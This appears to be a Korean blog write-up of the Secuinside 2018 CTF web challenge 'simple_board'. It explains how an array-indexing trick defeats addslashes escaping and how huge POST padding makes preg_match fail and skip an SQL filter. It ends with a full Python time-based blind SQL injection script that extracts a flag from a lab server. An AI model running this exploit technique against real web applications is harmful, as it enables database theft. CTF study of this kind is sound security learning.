WebHacking

Secuinside 2018 simple_board

HSr00t 2018. 3. 5. 23:23

lib.php에있는 str_escape를 이용하여서 GET,POST등에 addslashes를 해주고 있다.

그리고 내가 입력한 값들에 sqli_block을 이용하여서 필터링을 해준다.

대부분 함수들을 분석하면 알겠지만 str_escape때문에 sqli를 해줄수가없다.. 

함수 중 쿼리 입력 방식으로 조금 다른 함수를 찾는다면 바로 do_delete함수가 있을것이다.

그 이유는 다른 함수들은 다 string으로 입력받는데 do_delete에서 idx는 배열로 받고있다.

저렇게 배열로받고있는곳에 string으로 입력을 하게되면 AAAA를 넣으면 $_POST[idx][$i] 값을 출력해보면 A한글자만 들어가는데 이것을 이용하여서 str escape를 우회해줄수 있다.


strescape를 이용하면 'AAA를 입력하면 \'AAA가 된다 이것을 string으로 입력했었다면 배열 값으로 뽑아낸다면 \한글자만 뽑아져서 sqli를 해줄 수 있다.

  

$query = sqli_block("SELECT * FROM board WHERE idx='{$idx}' AND uploader_id='{$uploader}';");


idx에 string '을 넣으면 idx를 배열로 뽑아오기때문에 idx='\' and ... 이런 식으로 된다.

이제 sqli_block을 우회 해줘야 되는데 이 부분은 풀이를 보고 처음 알게 되어서 다시 한번 공부해야 될 것 같다..

preg_match에서 .*을 잘못쓰면 A를 엄청나게 넣었으때 함수에서 오류를 뱉어내는데 preg_match는 오류가 나면 false를 반환하기 때문에 우회가 가능해진다.  

GET은 몇 천개? 정도만 넣어도 REQUEST TOO LONG 오류를 뱉어내는데 POST는 입력값 제한이 있지 않아서 post로 했을때만 우회가 가능해진다.


 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import urllib2
import urllib
import time
table = 'read_me'
column = 'flag'
temp = 48
idx = 1
flag = ''
 
while True:
    url = 'http://192.168.0.4/simple_board/index.php?page=delete&mode=multi'
    param = 'uploader=%20or%20(select%20ascii(substr(table_name,{0},1))={1}%20from%20information_schema.tables%20where%20table_schema=database()%20limit%202,1)%20and%20sleep(3)#{2}&idx=\'asd'.format(idx,temp,'A'*2000000)    
    param = 'uploader=%20or%20(select%20ascii(substr({0},{1},1))={2}%20from%20{3})%20and%20sleep(3)#{4}&idx=\'asd'.format(column,idx,temp,table,'A'*2000000)    
    print urllib.unquote(param).replace('A'*2000000,'')
    req = urllib2.Request(url,param)
    req.add_header('User-Agent','Mozilla/5.0')
    req.add_header('Cookie','id=aaa;nick=aaa;pw=f06b4a328f4bada7e6de53596072e09f0677a1b9;PHPSESSID=7ghrc55g6u618do1eciastvkv6')
    start = int(time.time())
    uo = urllib2.urlopen(req)
    end = int(time.time())
    target = end - start
    print target
    if target >= 3:
        flag += chr(temp)
        idx += 1
        temp = 48
        print 'Search {0}'.format(flag)
    else:
        temp += 1
        if temp>122:
            print '{0}'.format(flag)
            break
cs